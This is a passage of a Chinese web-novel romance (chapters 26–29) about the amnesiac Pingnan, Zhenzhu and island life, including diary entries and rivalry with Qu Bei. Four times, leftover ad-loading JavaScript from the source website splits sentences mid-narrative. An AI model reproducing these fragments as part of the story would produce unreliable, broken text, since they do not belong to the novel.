二妞本来也打算去找她,顺手帮她提了两样,嘴里迫不及待分享着最近和春山的进展,“我们昨天去了镇上,这是他给我买一条手链,是不是特别好看。” 细细的银链子在女孩年轻健康的皮肤上发出夺目的光亮,下面缀着一圈小铃铛,走起路来有叮铃铃的脆响。 珍珠:“挺好看的。” 二妞抿唇羞赧道:“那可不,我挑了好久呢,那个老板怎么也不肯降价,然后他就问我喜不喜欢,说买下来送给我。” “你说他是不是特别笨,送礼物哪有直接问人家喜不喜欢的, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一点惊喜也没有。” 珍珠:“可是你不是很喜欢吗?” “话是这么说没错。”二妞一时之间无法找到合适的词去解释忸怩的少女心思,跺跺脚说:“哎呀,等你有喜欢的人就知道了。” 珍珠有点木然:“知道什么?” 这对二妞来说很难解释,她只能尽量举个例子:“你等你家那个送不就知道了。” “喏,他不就在那里。” 珍珠顺着她说的方向望去,平南坐在最左边,往右依次是长风,谢嘉和小渔,几个排坐在一起跟信号格似的在晒太阳。 下一瞬,春山双手一撑,也坐了石壁上。 二妞激动立马叫道:“春山哥。” 几人齐齐转过来,春山挠了挠后脑勺,咧嘴笑着和平南说了些什么,然后走了过来。 春山:“你们怎么在这?” 二妞笑着把手中的东西提了提:“珍珠东西太多了,我帮她拿点。” “春山哥,你是又要出去?” 春山:“嗯,今晚出船。” 二妞失落道:“这么快。” 春山:“到时候给你带东西。” 二妞又立马露出了笑脸,两个人旁若无人的一言我一句的来回拉扯。 平南这时也插着口袋慢悠悠的走到这,对周围冒出的粉红泡泡甚是鄙夷,盯着还没发现自己是电灯泡的珍珠说:“傻站着干吗呢,不是去拿药吗?怎么这么多东西。” 珍珠说一个就把一袋拎高点:“这个李婆婆给我的,这个是郭婆婆给我的……” 平南看着她嘴巴张张合合,听完没什么表情的哦了声从她手里要拿过,又觉得自己不能全拿了,要不然自己跟她小弟似的,给珍珠留下那个装药的小塑料袋,二妞见状也把手上的东西塞了过去,对着珍珠使了个眼神说,她还有事就不过去了。 平南无可无不可的全部单手提着,走在路上视线不经意的往珍珠那边瞟,来回几次偏头笑了下,又立马克制转过头微扬着下巴,藏不住事一样的说:“你知道春山刚刚找说什么吗?” “说什么?” “他问我要不要出去,说今天下午开船会到附近的港口。” 还不等珍珠说话,平南看起来心情很好的样子:“我可没同意,我跟他说我要继续留在这里。” 他顿了顿又立马说:“你别胡思乱想,我只是还没抓到那个人而已,而且我手机还在你小北哥哥那里,说不定里面就有什么线索。” 这听上去很合理,如果平南说到曲北的时候鼻腔里没有发出一声低哼。 珍珠点了下头:“我知道了。” 平南对于她这种平常的态度很不满意,用力吸了吸鼻子跟故意找茬似的,“你拿的什么药,怎么味道这么重。” 今天的阳光并不燥热,海岸微风也退去了咸涩味,空气中只有一点草木香,陈医生开的中药是一颗颗自己做的药丸,密封的很紧,珍珠闻不出什么药味,想了想从袋子里拿出那两个草药包凑近鼻尖,略苦,但并不难闻。 “可能是这个。” “这什么?” “草药包,助眠的,你要吗?” “就两个?” 珍珠点点头,以为他是觉得不够,但是也不能全部送出去吧,毕竟这是陈医生拿给自己助眠的,手掌合拢了点准备往后缩。 平南嘴角绷着,一手插进了兜里:“如果你实在要送我也不是不行。” 26. 第二十六章 入夜,珍珠哄王淑华吃完药拎着小袋回到二楼,旁边房间的灯还亮着,她伸手敲了两下门:“平南。” “等,等下。” 屋子里传来被子掀动的声音,过了十几秒才传来脚步声,门从里面被打开。 平南侧开身子:“进来吧。” 房间很空,连个坐的地方也没有,珍珠拎着小袋走进去,发现那个小草药包就放在枕头旁边,薄被在床尾叠的整整齐齐。 平南在床边不动声色的坐直了点,将枕头在珍珠的视线里遮去大半。 珍珠看着他漆密长睫下的那一道暗影,开口道:“闭眼。” 平南打量她手里的小塑料药袋,里面还剩个彩色的小铁盒,心说这人怎么送礼物还送上瘾了,白天才送过,现在又来,就算迫不及待要送给自己起码也该放到背后藏一下吧,这都看见了。 大晚上吃糖这个习惯一点也不好,王珍珠还真是克制不住自己,竟然想让他也同流合污。 吃个糖而已,用得着闭眼?他视线往上划过,嘴角不受控的翘了一下。 “有这个必要吗?”平南嘴上这么说着,眼睛却还是立马闭上,微微仰起头。 珍珠低下头,看见他的长指正在有一下没一下的抠着底下的床单。 她打开铁盒进行下一步指令:“张嘴。” 平南今天意外对这种命令式的语气没有任何不满的情绪,嘴角始终上扬着,听话的微微张开。 珍珠拿着药丸对比大小:“再大点。” 平南用力抿了下唇,语气变得不太自然:“原来你喜——” “……” 药丸被珍珠顺势整颗塞了进去,樱桃大小。 “什么东西?”平南紧皱眉头,张口就要吐。 珍珠早有预料,一把捏住他的下巴:“吞下去,不准浪费钱。” 平南下巴动了动,没挣开,不情不愿咽了下去。 珍珠这才松开手,端起他放在床边的水递过去。 平南接过一口气喝完,这才稍稍压住那浓烈的苦味,语气衔怨冲她嚷:“这么苦,你想毒死我。” 珍珠视线往下移,停在他的腹部,语重心长:“药苦才有用,这都是对你好。” 那可是陈医生特意拿给她的,本来一开始开的草药,考虑到她可能没时间去熬,这才换成了她给自己调理的药丸,而且药里面加了红枣,哪有那么苦。 娇气。 平南眼珠跟着往下转,脸上蓦然带上一点潮红,声音放低了点:“我...应该用不着吃这些东西吧,你不是……都看过。” 最后那几个字跟蚊子哼唧似的,珍珠没有听清。 珍珠不知道他脸红什么,举着铁盒警告平南:“这里是一周的量,别给我扔了,我到时候要看到效果。” 他脸色又立马刷的白了下去,觉得她简直到一种离谱的程度,吃一次还不够,这么苦的药竟然叫他连续吃一周。 珍珠已经习惯他总是情绪不稳定,哄骗的话张口就来:“听话,这些药很珍贵的,都是为了你的身体好,我又不会害你。” 平南不放弃的争辩:“我觉得我不需要这些东西也可以。” 他虽然失忆了,但还不至于对自己的身体情况也不了解,王珍珠根本不需要拿这些东西他也一样可以做的很好。 他犹豫几秒怕她不信,牵过珍珠的手往自己胸口上贴,觉得她根本就是多此一举,这么做明显就是不相信自己,平南脑海飞速回忆过往的片段,不知道是哪个环节出了问题,才会让珍珠有这样的误解,觉得他应该在这种事情上提前吃药。 虽然这个进度是太快了点,但是她确实是一个很不喜欢浪费时间的人,这样倒也很符合王珍珠的做事风格。 而且哪个男人能接受这种事,显得他很不合格一样。 珍珠看着他认真的表情也暗暗较劲,觉得这都是平南不想吃药找的借口,手掌偏移方向落在平南的领口,V形衣领下,锁骨线条微微突起,往下摸依旧触感清晰。 还说不用,珍珠用力一按,平南本就没有设防,被她直接按倒在枕头上,后脑勺一片冷硬。 平南腰腹一硬,对上她直勾勾的眼睛,棱角分明的脸庞微微偏过,用力咽下喉咙中的干涩。 珍珠几乎没有思考,接着哄骗:“好了,你以后乖乖吃饭,说不定就不用吃这些药了,这些东西我买都买了,总不能浪费吧,听话要吃完。” 平南不知道自己是被那发黄的老灯泡照晃了眼,还是珍珠落在他锁骨处的头发挠得心头直发痒,竟然鬼使神差的点了点头。 珍珠满意的收回手,把药放在他的床边,站起揿灭了灯。 平南完全没发觉自己一直在憋气,直到门被珍珠没有任何留恋的关上,磕出一声无情的碰响。 他直接从床上挺了起来,在黑暗中眼睛瞪的老大。 什么情况,就这么走了,什么都不做,他有点羞怒的盯着走廊外面的身影,直到隔壁房间也传来了灭灯的声响,才真的相信。 平南负气似的自己坐了会,在明白这样珍珠又看不见的时候无语的朝后倒去,枕头下的本子磕的他两眼昏花,空气里还残留着药丸的清苦。 …… 珍珠觉得那个药还是挺有用的,平南最近吃饭顺从了很多,夹什么吃什么,让他不要留剩菜,他就能把那些盘子的东西都吃完,甚至对鱼虾蟹螺这类食物也不再像从前那样排斥,该挑刺挑刺,该剥壳剥壳。 就是他吃饭的那个表情吧,看着有点愤懑,咀嚼的时候都带着一股狠劲,好像那些螃蟹鱼虾咬过他一口。 虽然看上去依旧赏心悦目,但珍珠不太喜欢别人对食物如此粗暴,所幸目的是达成了,她也没有多加干预,顶多在看到的时候偏过视线。 在平南第N次目光反抗无果后,他离开谢嘉家的院子时遇到了长风。 这段时间他除了像往常的生活还一直在帮谢嘉补习,谢嘉是春山姐姐的孩子,平时管教不到一到假期就送到岛上。 谢嘉谁也不服,唯独对这个舅舅硕大的拳头还有点该属于这个年纪的畏惧,春山倒也没真打过他,因为谢嘉最多只能支撑到他举起拳头,就会开始崩溃大哭认错。 平南原本是不屑帮这种不听话的小孩补习的,在他眼里,谢嘉的脾气比院子里挂着那些鲣鱼干还要硬,一边不会一边要保持自己的傲气,学不会尊师敬道,两个人常常是大眼瞪小眼,一道题能耗大半天,要不是小渔每次先写完就要跑出玩,谢嘉能耗的更久。 如果不是为了找到凶手,平南是绝对不会去受这种折磨的。 他发现春山看上去像个粗犷的傻大个,剃个寸头,皮肤晒的黝黑,肌肉又特别发达,露齿一笑,那牙白的都发光,但他在蓝月岛年轻人里的地位可不低。 出船的那一群愣头青里,人人见到他都要喊一句春哥。 春山从小就不是读书的料,又不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 想在谢嘉面前露怯,自从发现他卓越超群的智商后就频繁找平南帮忙,连带着那群年轻人都开始跟平南打起了招呼,平南觉得和他们也勉强算个点头之交,虽然他都等着别人来和自己打招呼。 没过几天他就将岛上回来的那群人认了个遍,这可比他一个个调查打探来的快多了,而且春山脑线直,都不用他套话就能把那些人介绍个遍,现在谁不叫他一声平南兄弟。 只可惜那些人休息几天就又走了,他才锁定几个有作案时间的人就被迫中断,平南只能继续教谢嘉写作业,等待下一次渔船归来。 长风照例坐在一棵很大的老树下,暖风吹过,他舒服的眯起眼,从口袋里拿出小鱿鱼干往平南那边递。 尽管平南一直没接过,但长风也没有记性,每次还是会重复这个行为,将母亲教育的分享贯彻到底。 平南垂眸撇了一眼,习惯性的想拒绝,但想起什么又接了过来,他咬着只有咸味的鱿鱼干,想想还是觉得生气:“王珍珠她竟然怀疑我。” 长风一脸茫然的往嘴里塞鱿鱼干,不理解但很配合:“怀疑什么?” 平南张了张嘴说不出,这事关他男人的尊严,更何况长风也不会明白这种事,于是糊弄的转移话题:“你觉得我和曲北比,谁的身材看起来更好?” 长风正准备回答,平南又已然开口,“你不用说了,我又不是这个岛上的人,这没什么好比的。” 曲北虽然没有随父亲出船,可是小时候底子是在蓝月岛打下的,平时也会回蓝月岛给父母帮忙,虽比不上春山那样,但也背部宽阔厚实,笔直挺拔的身姿能看出锻炼过的痕迹。 长风看着他惆怅的模样,脑子都没有转过来,鼓励式的夸奖:“你也很好。” 他倒也没说假话,平南身形优越,五官又生的极好,放在哪里都是出众的。 “我知道。”平南有点烦闷,“但是王珍珠她太贪心了。” 她对这样的自己的还不够满意,一点审美意识都没有,喜欢那种大块头,平南觉得这可能和她从小的生活环境有关,蓝月岛貌似以壮实和黑皮为美,毕竟和她年岁差不多的二妞每次看到春山眼珠子都直了,她难免会受到影响,无法形成自己的审美意识。 但你说她完全没有意识,珍珠又好像有点,她知道夸自己好看,吃饭时也知道自己这样做不对,不敢看他的眼睛,她不喜欢看起来很粗糙的曲盛,于是狡猾的曲北就在她能力不足的时候蓄意勾引。 天真的珍珠被眼前的一点诱惑蒙住心智,瑕瑜不分。 长风为珍珠说话:“珍珠姐姐不贪心的。” 长风情智未开怎么能明白平南悲壮的心路历程,他有每天都要吃那些很苦的药丸吗,黑黢黢的跟小作坊产物一样,他有这样被人质疑过吗,手都摸到他身上了还能忍住回到自己的房间,他有明明很不喜欢那些食物却强迫自己吞下去,还要被迫降低自己的审美认知的经历吗? 他统统都没有。 平南撕着鱿鱼干食不下咽,叹息的摇摇头:“你不懂。” 长风:“……” 王珍珠的自我意识还不完整,这很有可能让她三心二意,根本就不能好好静下心来发现什么才是最适合她的,等曲北那个狐狸精回岛一挑拨,他们又会冷战好几天。 平南望着海面生无可恋的妥协:“算了,如果她非要这样,我吃就是了。” 他就不信,等到时候还不能把珍珠迷得七荤八素。 27. 第二十七章 「一月十三日,蓝月岛下雪了。 珍珠从来没有见过雪,总闹着要出去玩,积雪把院子里那棵小玉兰树都压歪了,还好发现的早缠了一些旧布条上去,希望今年它能熬过这个冬天,让玉兰开心点。 回想起来蓝月岛已经很多年没有下过雪了,上一次好像还是十多年前,岛上除了财哥家那条新船,其余人都留在这里不敢出去。父亲宽慰我,瑞雪兆丰年,也许今年捕捞会容易点。 傍晚时分,雪已经厚到和门槛一样高了,如果再不清理估计明天早上连门都打不开,珍珠还是抓住机会溜了出来,美其名曰说是要给我加油,其实小脸冻的红扑扑的在一旁自己玩。玉兰往她身上套了两件最厚的袄子,还加了一双棉袜才同意她在外面待一会,还好那些雪不硬,清理起来并不麻烦。 小姑娘堆了五个小雪人,我问她那都是谁,她说是最大的那两个是爷爷和爸爸,然后是奶奶和妈妈,我说那最中间的呢,珍珠突然就生气了,说我真笨连这都猜不出来,以后不跟我玩了。 玉兰问她那想跟谁玩,她支支吾吾了好久,结果说要跟小北那臭小子一起,看来以后不能总让他来家里,免得有天把我的珍珠拐跑了怎么办。」 「二月十六日,马上就要过年了。玉兰说去年就没有好好过,今天一大早就起来蒸豆子做红粿。 珍珠围着旁边一直看,问我为什么不管过什么节都要吃红粿,我倒是没有想过这个问题,反正从小红粿就摆在桌子上,过了一会她又开始问我里面只能放红豆吗,难道不可以放别的?为什么要做成小乌龟的形状,她比较喜欢小兔子。 说想往里面放酥酥的小鱼干,放那些新买的牛奶糖,还想用糯米皮把那些糖葫芦也包进去。 玉兰揪了一小块面团让她自己玩,她还真把那些鱼干和糖果全部放了进去,做了个胖兔子的肚子,结果蒸出来又不肯自己尝,和妈说要最好吃的都留给爸爸,她只吃一点点好吃的豆沙馅红粿就行了。」 楼下传来机械钟的报时声,平南慌慌合上记事本往枕头下面一塞跑了出去,差点没赶上给谢嘉补习。 日记里男人的字迹并不工整,有些还是拼音错别字,导致他每次读的时候都要脑海里修正一遍才能继续读下去。 那种心思很隐秘,想要了解一个人却不知道从何开始,然后老天让他看到了那本日记,平南见到了一个截然不同的珍珠。 小珍珠调皮搞怪喜欢玩,脑子有很多奇妙的想法,会找借口把难吃的红粿推给父亲,也会在堆雪人的时候不忘记任何一个家人,最重要的,江平不喜欢曲北。 这让平南信心增长,青梅竹马又怎么样,他和王珍珠才是命定的缘分,要不然蓝月岛那么多房子,他怎么就刚刚好从天而降滚到珍珠家门口。 想通过后的暗喜让他在下午碰见谢嘉又故意耍性子的时候也不生气,结束的时候正好四点,他往冷饮店那边走,等着和珍珠一起回家。 “喂。” “那个” “……珍珠家那个。” 平南立马转过头,朝四周扫了眼,眼瞅着就要看到天上。 “这呢。”一个驼背的黑老头从一堵红砖墙后面伸出粗糙的手。 平南走过去,他记得,这个是春山那伙兄弟里大成的爷爷,好像也姓曲,不过两人并没有什么交集,大成性格内敛不爱说话,在那群聒噪的人有些格格不入,别人说什么他都只会笑,他看过去,大成还会故意避开视线。 现在想想,似乎岛上姓曲的人家占据了一半,平南合理怀疑可能蓝月岛最先登岛的人就姓曲,要不然怎么走到哪都能碰见姓曲的。 听来听去,还是曲北的名字最难听。 他疑惑的走过去,看到那堵红墙后面有一个很大的铁锤,还有一堆不知道从哪里捡来的枯树枝。 曲爷爷扶着腰气喘吁吁:“你来的正好,帮我把这堵推了。” 平南抬脚就走:“我不会。” “……” 曲爷爷说话喉咙粗,语调就跟生气一样:“这有什么不会,拿起锤子敲就是了。” 平南:“我不要。”他每天去那鬼沙滩捡瓶子就已经够离谱了,现在还要帮人砸墙,怎么不直接叫他也跟着一起出海得了。 曲爷爷晒的黝黄的脸一怔,瞪着一双老眼,往常都是大家搭把手的事,活了七十多年他还是第一次在蓝月岛遭到拒绝。 每个村落都是一个小的利益共同体,蓝月岛也不例外,附近海岛多,以前划分不明确,生活在蓝月岛的人们更是深知其利,祖祖辈辈紧密抱团,要不然也不会这么多年大家还能安然无恙的都生活在这座管制难以触及的海岛上。 也就是近二十年,社会发展速度快,利益不再冲突,附近海岛上的人才不再只看着这一亩三分地,但蓝月岛的人情世故还是没变的。 曲爷爷这时也想起平南外岛人的身份,瞧这个年轻人比自己孙子还要小,那个脸白的跟小姑娘一样,一看就不是块干活的料,也就不再强求,烦躁的甩甩手让他走。 平南却停在原地没动,一双黑白分明的眼瞟进了旁边的厨房里。 曲爷爷见他又不肯帮自己干活,又要站在这里碍事,不悦道:“怎么还不走。” “那是什么?”他长指一伸,落在了正在厨房里忙活的曲奶奶那。 曲奶奶正好端着一屉蒸好的走出来,还不知道外面发生了什么,只是听到了就顺口回道:“红粿呀,怎么连这都不认得了。” 她昏昏的眼定睛一看,“哎哟,这不是珍珠家那个,怪不得不知道。”曲奶奶看着他那张小俊脸心生喜爱,慈笑招呼道:“叫平南是吧,你拿点尝尝,外面可没有这种东西。” 平南没有直接过去,转过头对着曲爷爷交易:“帮你敲墙,我要两块那个。” 曲奶奶正准备说哪用的着,这也不是什么稀罕东西,旁边曲爷爷抢先开口道:“去,锤子在那里。” …… 平南其实也没有很想要那个红粿,就一点点想吧,这没办法,谁让王珍珠爱吃这种看起来很奇怪的东西,他就从来没见过王淑华做过。 算了,谁让他现在才是最了解王珍珠的人。 原来这就是红粿,跟乌龟壳似的,还不如做成小兔子的形状,一点也不可爱。 他拎着塑料袋在手上晃悠,本来说要两块,结果曲奶奶直接装了小半袋,害的他又把那堆枯柴搬到了厨房里。 真该让王珍珠过来看看他刚刚敲墙勇猛的架势,简直得心应手,别说一堵墙,就是再来十堵都是洒洒水,也就是王珍珠对他的认知还不准确,还跟他来那套。 敲墙耗费了一些时间,他一路疾步到冷饮店,看到店门还好好开着,不由松了一口气。 珍珠正送走今天唯一一波客人,她已经很久没有在蓝月岛见过外人了,上一个,还是平南,正想着,他就走到了门口,珍珠愣了瞬,连忙低头洗杯子。 平南不经意的把塑料袋放在柜台上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,朝那两个陌生的身影看了眼:“谁啊?” “不认识,岛外的。” “?”平南有点纳闷,这破岛有什么好来观光的,一点意思也没有。 珍珠自然也不知道,她能明显感觉到那两人想从她嘴里套话,也许是看她外表把她当作不谙世事的小岛少女了,但阿财叔和她打过招呼,说碰到不认识的人要好好招待,只是到现在为止她也没见过阿财叔口中那些穿着黑西装的人。 不过那两个人想套话也没用,还故意付款的时候直接给了她一百块,害的她差点找不开。她本来就什么都不知道,只能回答一些很基本的问题,多的也没有。 珍珠洗完杯子,终于有空把视线移到了不知道为什么最近很喜欢插着兜,脸上摆出一副淡漠表情的平南身上。 她提起那个塑料袋看了眼:“这什么?” 明知故问,平南没有什么表情的说:“你吃不就知道了。” 珍珠扯了一块塞到嘴里,外皮黏糯糯的,内里是清甜的豆沙,最下面垫着一层抹过油的芭蕉叶。 “好吃吗?” “还行。” 挺能装,也不知道是谁小时候馋的偷吃,肚子胀到半夜都睡不着,还要去看医生。 珍珠抬起头,正好看到他脸上叵测的笑意,犹豫放下袋子,“你做的?” 平南脸上露出一个很夸张的表情:“怎么可能,王珍珠,你想什么,我为什么要给你做这些。” “那你吃。”珍珠不太相信的把刚刚扯过的那块递过去。 平南望着那个缺口,袋子里那么多,怎么非要把她吃过的给自己,还真是……一点也藏不住。 他伸出手,珍珠没理直接递到了嘴边:“直接吃,你不是没洗手。” 他咬住尝了一口,甜死了,果然是小孩子才喜欢吃的玩意。 直到他把整个吃完,珍珠才确信这绝对不是什么整蛊料理,估摸着又是谢婶给的,才提溜着小袋站在一旁吃,平南收伞关好门,两个人往回走。 珍珠吃完一整个有点腻,还没张口,平南从手上的小布包里拿出水杯拧开递过去,接过装红粿的塑料袋。 珍珠慢慢喝着,看到不知道何时又把手插进口袋的平南突然说:“王珍珠,那个药我已经快吃完了,以后应该不用吃的吧。” “你手怎么了?” 平南没太在意,接过她的水杯拧紧放进包里。 珍珠扯过他的手察看:“你和谢嘉打起来了?” 其实不太像,掌心和指节都有点红肿,手臂上还有些微微凸起的划痕,奈何平南在岛上晒了这么久,皮肤依旧没有什么特别大的变化,所以这种长长的划痕总是格外明显。 “……”谁会和那种小屁孩打架。 珍珠柔软的指腹在他掌心来回摸了摸,确认完问题不大,但又想起他是个极其不能吃苦的性子,还是问道:“疼吗?” 不疼,很痒。 平南看着她后面露出的那一截细长平直的颈线,身体有点无端的燥热,扯不出自己的手,吸了一口气道:“你还没说呢。” “说什么?”她的问题平南还一个都没回答。 “……那个药。” “哦。”珍珠恍然,其实她觉得那个药挺有效,还打算再去拿一个疗程的量,想了想他每次吃药那张苦脸又觉得算了,反正这个程度已经足够,要是再增大一点,等下把家吃穷怎么办。 “算了,你把剩下的吃完就行。” 28. 第二十八章 对于蓝月岛的生活,平南在一个又一个喧扰的早晨中越来越适应。 这样的日子总是平淡且重复,慢慢的竟生出一种可以掌握的心态,最近更是连打雷下雨的坏天气都少了许多。 早上,平南照例将帮王淑华把水担到菜园,他已经识得了这里大部分的蔬菜,甚至连那几只母鸡的样子都能分辨清楚,知道哪一只母鸡下的蛋最多,哪一只母鸡最爱挑衅他。 昨夜涨潮,王淑华把浇水的任务全部留给了平南,自己换上雨鞋手套,拿着一个被磕碰的坑坑洼洼的铁桶火急火燎去礁石滩赶海,到的越早收获越大,好东西都需要抢,这是自然的法则。 平南浇完水回小院时间还很早,还不到早上六点半,蓝月岛极度的慢生活让他感受不到时间的飞速流逝,虽然是夏日天黑的晚,但是一入夜压根就找不到事情做,除了睡觉就是发呆看星星,那本日记他已经读的七七八八,竟有些舍不得结束。 珍珠正在厨房里做早饭,王淑华早上起床煮了红薯粥,现在刚好沸腾,老式铝锅腾腾的直冲气,水蒸气侵蚀着灰白的屋顶。 平南看着,很担心上面那些脏兮兮的墙灰掉进粥里。 珍珠的厨艺并不好,只能勉强达到一个能吃的程度,不过这也和王淑华没有买什么配料有关,简单粗暴的只有盐和白糖。 饶是再厉害的厨子,恐怕也只能束手无策。 太穷了,太穷了,平南每次看着心里只有这三个字。 他不是什么不懂得感恩的人,王家毕竟收留了他这么久,他和珍珠…… 平南的视线长久停留在珍珠的身上,珍珠似乎格外喜欢扎小辫,柔软的深棕色发茬,下巴圆润的弧度刚刚好,但不笑的时候又很没有烟火气,看上去疏离清冷很不近人情,甚至还有些攻击性,一双纯粹静淡的鹿眼能直直的望进你的心里。 她在这间逼仄的旧厨房,还真有些珍珠蒙尘的意味,非常的不搭调。 或许是他的眸光太灼灼,珍珠感应到朝门边看了眼。 平南率先移开目光,走进去漫不经心的说:“你喜欢什么样的房子?” 尽管他现在还在靠捡瓶子存钱,但不知道为什么,平南总觉得自己不是个穷人,或者可以这么说,她觉得自己的气质不像个穷人,至于有钱到什么地步,他暂时还弄不明白,应该是非常有钱的那种程度,买个蓝月岛都是漏漏指缝的事。 珍珠没在意道:“随便,能住就行。” 说完,她旋即反应过来,“怎么,你打算送我套房子?” 平南勾了勾唇:“也不是不行。”反正他们都要住在一起,那房子是谁的不重要,如果她想念蓝月岛的家,他也可以随时带她住一下。 珍珠正因煎焦了辣椒鸡蛋饼郁闷,听到他这话失笑。 这种笑在平南看起来是一种质疑,珍珠正在质疑他的实力,他绷着脸,故作镇定地说:“难道你不相信我?” “信信信,你最有钱了。” 平南:“……” 还说自己没有,但平南不打算和珍珠做这种像小孩子一样无意义的争辩,他又不是谢嘉那种小孩,做什么都只会嘴上逞能,等他全部想起来,自然会用实际行动说话。 珍珠又从坛子里夹出一些王淑华自己腌的泡菜,全程做饭时间没有超过五分钟。 两个人坐在桌前吃早餐,平南夹了口鸡蛋,差点没被王淑华种的辣椒呛死,入口的瞬间就跟火烧似的,还有股苦味,平南喝着粥边忍边想,也许家里还要多备几个厨子,要不然照这样吃他很难达到珍珠想要的那种体型。 直到吃完早饭王淑华也还没回来,珍珠今天休息,估摸是昨晚退潮礁石滩上东西太多,王淑华一时忘了时间,用个饭盒装上粥和没焦的鸡蛋饼还有泡菜,准备带平南也去赶去一次海。 “怎么赶?”平南愁的眉毛都快拧成结,怎么还有这种事,他现在跟个农夫有什么区别,早上要给菜园浇水,给那群吵死了的鸡喂食,现在还要去抓螃蟹挖蛤蜊。 珍珠晃了晃塑料桶里的夹钳。咚咚哐哐的响:“就这么赶啊。” “很简单的,没你想的那么难。”她生怕平南跑了似的,一把抓过平南的手腕,扯着他就朝礁石滩那边走,嘴里嘀嘀咕咕的不停安利。 平南瘪瘪嘴角。 算了。 王淑华在一块稍平缓的小礁石滩上拾海货,昨晚涨了大潮,今天出来赶海的人不少,但多是岛上剩下的老人们,平南和珍珠两个年轻人的身影在这块格外惹眼。 渔船都返航又出去了,平南也没离开,大家的心里不免疑虑,岛长也好几次找到珍珠询问缘由,珍珠不想参与平南的计划,但也不想打乱他的策略,每次都是找了个理由糊弄过去。 时间一长,大家在心里琢磨过味了,觉得怕不是那小子对珍珠一见钟情了,这才不舍得离开。 两个人时常出双入对,长的也甚是般配,暗戳戳之间那股子青春的稚嫩劲儿实在很难不让人嘴角上扬,对两人的绯议越来越密集。 也是,年轻的少男少女,又同住在一屋檐下,不擦出爱情的火花才不正常。 大家面上顾忌到王淑华,这些事基本不在她面前提起,但有时候想想又觉得王淑华也算苦尽甘来,临了老了,不仅有了孙女,现在又从天上掉下来一个孙女婿。 如今看着两人更是你情我浓一起过来给王淑华送早饭,大家都恍惚觉得又回到二十多年前,岛上也有一对这般恩爱的年轻人。 王淑华的铁桶装了大半,平南拎了拎重量,全部倒进他带来的大桶里,方便王淑华等下再提桶去捡。 旁边几个凑的近的阿婆揶揄道:“这年轻人就是手脚麻利,眼尖,干活都比别人漂亮。” “可不是,这脸也长的真俊,要不还是说珍珠会捡。” “这怎么还赖在岛上不肯走了,怕不是看上我们珍珠,想娶她吧。” “哎哟哟,还不好意思呢,怎么走远了。” 那声音不大不小,刚刚好,整个沙滩上的人都可以听得见,大家忍俊不禁纷纷低头笑出声,一早上的辛劳顷刻烟消云散。 平南哪碰见过这种架势,耳根烧的发热,看都不敢看她们一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眼,提起桶往平时去的另一边转移。 那边的礁石大块,地势高,去的人也少,平南提溜着夹钳,发现李阿婆也在这边,今天不捡垃圾也捡海货。 李阿婆像是听不见那边的声音,面色淡然的在石缝中寻找。 王淑华听的脸色发沉,快速喝完粥催促珍珠快点回去,等下太阳大了晒起来热,尽管珍珠再三说明没关系,王淑华也不听,只让她带着平南快点回去。 珍珠只能把水杯留给她,拿好饭盒去找平南。 平南此时也捡满了那个桶,觉得这和捡垃圾也没什么区别,听见回去立马走到了她的身边,珍珠离开时冲李阿婆打了声招呼,李阿婆只是淡淡应了声,连头都没有转。 平南看着这位生性寡淡的老人,突然想起他好像从来没见过李阿婆的孩子,岛上的年轻人他几乎都摸透了是哪家哪户的,唯有李阿婆…… “我怎么都没有见过她家的人?” 珍珠正埋头踢脚下的石子,回答道:“李婆婆只有一个女儿,不住在岛上。” 李阿婆是蓝月岛跟珍珠来往最少的人,每次见面都是冷冷淡淡的,而且李阿婆跟王淑华有点不对付,所以珍珠知道的并不多,只记得二妞之前帮她‘回忆’的时候说,李阿婆的女儿嫁到了大城市里,丈夫去世后她就被接到了城里养老,结果没一年又回到蓝月岛,说那里住不惯,外面的人太浪费了。 两代人的思想和生活习惯有着一条不可跨越的鸿沟,李阿婆不愿意让女儿为难,也不愿改变自己的生活方式,一个人回到蓝月岛清静。 平南不意外,毕竟王淑华那种显而易见的坏脾气实在太容易跟别人产生矛盾,除此以外,他觉得王淑华还有点难以言说的掌控欲。 对待珍珠就跟家里那只最护蛋的老母鸡一样,谁敢碰她都要啄他两口,生怕珍珠会怎么样,每次出门都要问珍珠去哪了,多久回来,前面和谁在一起,不知道还以为是在审犯人。 但这种事他到底是个外人,寻思可能是王淑华如今只有一个亲人,过分在意导致,而且他好不容易和王淑华关系缓和,这种话自然得藏在心里。 珍珠在一棵树荫下一脚踩住那颗石子,走累了站会:“放下吧,你提着不累?” 平南撩起眼,反而提着水桶举重一般弯起手臂,吊儿郎当的说:“王珍珠,我是不是力气也挺大的,你看我提这么多东西也不觉得累。” 珍珠撇了他一眼已经青筋暴起的手,不想作答。 微风吹过来一阵,平南下敛视线,想起前面在礁石滩上听到的那些话,有些纠结的嗫嚅道:“我总觉得我们这样是不是太快了,其实也不是不行,就是……” 珍珠闲来无事又在踢脚下那些石子,没太听明白他的话,一时失了力,那颗石子突然飞速朝前滚去。 一只白色的球鞋踩在了上面。 珍珠抬起头:“小北哥哥。” 平南深吸一口气,听到这一声又顿觉耳朵疼。 他半眯着眼,视线落曲北旁边那个气质相似的小孩身上,啧啧感叹:“你竟然还有个儿子。” 29. 第二十九章 曲北扯了扯唇线:“你在胡说什么?” 平南懒懒的哦了一声,“看着你年纪挺大。”他咬重最后那个字。 曲北有些恼怒,但又不想在珍珠面前显得自己很计较这种事,平南身上的稚嫩劲儿还没完全褪去,眼神清澈愚蠢,做事总是不假思索,任性妄为,在他看来和平南逞那点口舌之能是一件拉低水准的事。 谢阳是个天生冷静的小孩,对上珍珠的视线主动问好:“珍珠姐姐。” 珍珠是第一次见谢阳,蓝月岛最初是有学校的,不过最多只能上完小学,再后面的就要附近镇上去了。国家实行义务教育后大家更愿意把孩子送到外面去读书,只有放假才会接回蓝月岛。 谢阳今年升初中,这次是跟曲北上岛接谢嘉和小渔准备开学。 怕打扰到王淑华休息,几人中午吃完饭去了冷饮店。 珍珠把曲北带来的那些水果留给了王淑华一部分,剩下的都洗净放在桌上给谢嘉他们吃。 